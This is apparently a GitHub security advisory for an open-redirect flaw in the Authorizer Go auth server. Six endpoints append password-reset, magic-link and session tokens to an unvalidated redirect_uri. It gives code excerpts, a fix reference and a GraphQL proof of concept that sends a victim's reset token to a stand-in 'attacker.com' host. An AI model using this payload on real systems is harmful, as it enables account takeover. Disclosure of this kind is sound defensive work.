GHSA-X3F4-V83F-7WP2
Vulnerability from github – Published: 2026-04-06 17:59 – Updated: 2026-04-06 17:59Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
Affected Endpoints
- ForgotPassword (
internal/graphql/forgot_password.go:76-77) - password reset tokens - MagicLinkLogin (
internal/graphql/magic_link_login.go:150-151) - magic link auth tokens - Signup (
internal/graphql/signup.go:211-212) - email verification tokens - InviteMembers (
internal/graphql/invite_members.go:90-91) - invitation tokens - OAuthLoginHandler (
internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state - VerifyEmailHandler (
internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)
Root Cause
Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
redirectURI = refs.StringValue(params.RedirectURI)
}
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string {
verificationURL := redirectURI + "?token=" + token
return verificationURL
}
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
c.JSON(400, gin.H{"error": "invalid redirect url"})
return
}
This validation is missing from all 6 endpoints listed above.
Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token +
"&token_type=bearer&expires_in=" + ... +
"&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
PoC
mutation {
forgot_password(params: {
email: "victim@example.com"
redirect_uri: "https://attacker.com/steal"
}) {
message
}
}
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
Impact
- Account takeover via stolen password reset tokens
- Full session theft via stolen access_token + id_token + refresh_token
- Passwordless account compromise via stolen magic link tokens
- No authentication required to trigger (the GraphQL mutations are public)
- Victim only needs to click the email link from their trusted Authorizer instance
Additional Note
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/authorizerdev/authorizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260329085140-6d9bef1aaba3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T17:59:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n redirectURI = refs.StringValue(params.RedirectURI)\n }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n func GetForgotPasswordURL(token, redirectURI string) string {\n verificationURL := redirectURI + \"?token=\" + token\n return verificationURL\n }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n return\n }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n params := \"access_token=\" + authToken.AccessToken.Token +\n \"\u0026token_type=bearer\u0026expires_in=\" + ... +\n \"\u0026id_token=\" + authToken.IDToken.Token + \"\u0026nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim\u0027s access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker\u0027s server access logs, the victim\u0027s browser history, and any third-party analytics scripts on the attacker\u0027s page via the `Referer` header.\n\n## PoC\n\n mutation {\n forgot_password(params: {\n email: \"victim@example.com\"\n redirect_uri: \"https://attacker.com/steal\"\n }) {\n message\n }\n }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=\u003creset_token\u003e`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint\u0027s validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef",
"id": "GHSA-x3f4-v83f-7wp2",
"modified": "2026-04-06T17:59:27Z",
"published": "2026-04-06T17:59:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/pull/502"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/authorizerdev/authorizer"
},
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.